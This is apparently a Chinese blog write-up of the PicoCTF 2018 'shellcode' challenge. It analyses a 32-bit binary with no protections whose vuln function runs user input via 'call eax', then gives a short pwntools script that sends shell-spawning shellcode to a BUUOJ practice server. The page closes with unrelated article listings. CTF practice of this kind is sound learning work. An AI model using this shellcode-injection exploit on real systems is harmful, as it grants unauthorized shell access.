PWN手的成长之路-04-PicoCTF_2018_shellcode
先 nc 连接服务器,交互一下看看有什么效果。发现是让我们输入一个字符,之后程序再打印出来。
file 查看文件。32位的 ELF 可执行文件。
checksec 查看文件安全属性。没开任何保护。
NX 保护未开启,表明栈内存可被注入并执行任意机器码(shellcode),符合经典栈溢出利用的条件。此类漏洞通常需构造包含 /bin/bash 字符串的 shellcode 以获取交互式 shell 。
IDA打开此文件。因为代码被混淆了,导致无法反编译成伪代码,所以需要逐条分析汇编指令。
看 main
函数旁边看到了一个 vuln
函数,查看。发现了 gets
高危函数。
仔细查看 main
函数。
程序将用户的输入数据存储到 edp+var_A0
处,并通过 lea
将输入缓冲区地址加载至 eax
寄存器,随后作为参数传递给 vuln
函数,vuln
函数内存在关键指令 call eax
,表明程序会直接跳转执行 eax
指向的地址,推测此处可能会存在任意代码执行漏洞。
反编译 vuln
函数,猜测 a1 会被加载到 eax
寄存器中。
因此用户输入的数据最终会被 call eax
执行因此需要构造一段机器码形式的shellcode,直接注入到栈中实现任意代码执行。
exp 构造思路:
构造包含 /bin/bash 字符串及系统调用执行的 shellcode,通过输入将其注入栈中,并利用call eax
触发执行,之后get shell。
from pwn import *
r=remote('node5.buuoj.cn',26081)
context.log_level='debug'
context.arch='i386'
context.os='linux'
shellcode=asm(shellcraft.sh())
print(shellcode)
r.send(shellcode)
r.interactive()
最终得到交互式 shell
PWN手的成长之路-04-PicoCTF_2018_shellcode的更多相关文章
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读
本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...
- 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
- redis成长之路——(二)
redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...
- redis成长之路——(一)
为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...
- 【腾讯Bugly干货分享】JSPatch 成长之路
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...
- redis成长之路——(七)
扩展性封装 虽说现在StackExchange.Redis免费,万一到时候和servicestack.redis一样要收费呢,所以先留一口,后续的可以再处理 实例代码点击这里查看 redis成长之路- ...
- redis成长之路——(六)
redis配置 为了码农在代码上只关心业务以及代码上的统一性,wenli.drive.redis内部使用配置来完成那些不同的场景,也就是说随便填填配置就能适应不同的场景! 当然配置多了码农也会受不了, ...
随机推荐
- 前端开发系列066-JQuery篇之框架使用准备
一.jQuery框架和JavaScript加载模式对比 jQuery框架的加载模式 <script> window.onload = function () { console.log(& ...
- C/C++语言字符串正则匹配问题
30分钟入门博客 http://www.awaysoft.com/regular.htm#mission 可能服务器到期了,说实话自己的博客还是部署到CSDN,博客园之类的好. 测试网页 https: ...
- GAMES101 作业0 图形学
简介 作业用来校验自己做的是否正确.请不用copy,因为这是cheat youself. 题目 给定一个点 P=(2,1), 将该点绕原点先逆时针旋转 45◦,再平移 (1,2), 计算出变换后点的坐 ...
- 交叉注意力机制在YOLO目标检测优化中的应用:结合余弦退火学习率调度的实战解析
在目标检测领域,YOLO(You Only Look Once)因其高效性和准确性而被广泛采用.然而,随着任务复杂性的提升,如何优化 YOLO 算法以实现更高的性能成为研究热点.本文探讨了交叉注意力机 ...
- API快速开发,低代码开发平台
低代码开发平台让API开发效率快速提升,RestCloud低代码开发平台提供高效率开发环境,普通工程师只需要简单的技术就可以快速完成系统的开发.低代码开发平台可与第三方软件无缝集成,可以快速的开发企业 ...
- Management-DecisionMaking-Leadership-Relationship: 组织关系管理: Authorization授权 与 “越级”操控 “人事布局、财物配置、审批授权赋能”
Management-DecisionMaking-Leadership-Relationship: 组织关系管理: 组织关系 的 Authorization"授权" 与 &quo ...
- SciTech-BigDataAIML-Github-Generating a new GPG key
Generating a new GPG key Generating a new GPG key If you don't have an existing GPG key, you can gen ...
- FreeSwitch: esl 调用lua动态传参&日志查看
lua脚本在执行过程中,可动态接收参数,这样可以让系统更灵活,以上节的自动外呼为例,callout.lua改成下面这样: -- 主叫 local callernum = argv[1]; -- 被叫 ...
- idea 设置编译方式为maven编译, 并且在编译Java源文件时debug(annotation processor)
目录 idea 设置编译方式为maven编译 编译时debug(annotation processor) idea 设置编译方式为maven编译 Settings -> "Ctrl+ ...
- 《刚刚问世》系列初窥篇-Java+Playwright自动化测试-23- 操作鼠标拖拽 - 番外篇(详细教程)
1.简介 跟随宏哥学习的小伙伴或者童鞋们想必已经在宏哥Python+Playwright系列文章中知道宏哥如何处理前边文章中提到的反爬虫机制.今天跟随宏哥看一下java语言是如何处理的,已经按照之前的 ...